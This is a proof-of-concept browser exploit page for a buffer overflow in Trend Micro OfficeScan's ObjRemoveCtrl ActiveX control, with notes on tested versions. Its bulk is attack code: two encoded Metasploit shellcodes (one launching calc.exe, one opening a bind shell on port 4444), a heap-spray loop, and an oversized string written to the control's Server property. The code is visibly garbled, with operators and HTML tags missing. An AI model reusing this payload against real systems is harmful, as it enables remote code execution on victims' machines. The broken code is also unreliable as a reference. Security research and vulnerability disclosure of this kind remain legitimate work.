Trend Micro OfficeScan ObjRemoveCtrl ActiveX Control BOF Exploit

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Trend Micro OfficeScan ObjRemoveCtrl ActiveX Control Buffer Overflow Exploit

written by e.b.

Tested on Windows XP SP2(fully patched) English, IE6 IE7, OfficeScan 7.3 patch 4, OfficeScanRemoveCtrl.dll version 7.3.0.1020

The control is installed when you install OfficeScan through the server web console.

This was fixed in OfficeScan 8.x(uses strcpy_s which throws INVALID_PARAMETER, still crashes the browser though)

Thanks to h.d.m. and the Metasploit crew

-->

<html>

<head>

<title>Trend Micro OfficeScan ObjRemoveCtrl ActiveX Control Buffer Overflow Exploit</title>

function Check() {

// win32_exec - EXITFUNC=seh CMD=c:windowssystem32calc.exe Size=378 Encoder=Alpha2 http://metasploit.com

var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949"

"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a"

"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241"

"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c"

"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c"

"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f"

"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b"

"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c"

"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831"

"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955"

"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b"

"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b"

"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44"

"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35"

"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530"

"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b"

"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c"

"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63"

"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f"

"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377"

"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f"

"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035"

"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653"

"%u314e%u7475%u7038%u7765%u4370"); // win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com

var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949"

"%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a"

"%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241"

"%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c"

"%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f"

"%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c"

"%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f"

"%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b"

"%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c"

"%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31"

"%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35"

"%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b"

"%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663"

"%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733"

"%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470"

"%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358"

"%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f"

"%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458"

"%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58"

"%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f"

"%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275"

"%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45"

"%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033"

"%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046"

"%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035"

"%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036"

"%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64"

"%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35"

"%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67"

"%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30"

"%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f"

"%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246"

"%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139"

"%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652"

"%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e"

"%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b"

"%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075"

"%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251"

"%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f"

"%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f"

"%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b"

"%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952"

"%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73"

"%u684f%u3956%u386f%u4350");

var bigblock = unescape("%u0A0A%u0A0A");

var headersize = 20;

var slackspace = headersize shellcode1.length;

while (bigblock.length < slackspace) bigblock = bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);

while (block.length slackspace < 0x40000) block = block block fillblock; var memory = new Array();

for (i = 0; i < 330; i ){ memory[i] = block shellcode1 } var buf = '';

while (buf.length < 1008) buf = buf unescape(" "); obj.Server = buf;

}

</script>

</head>

Unable to create object

</object> </body>

</html>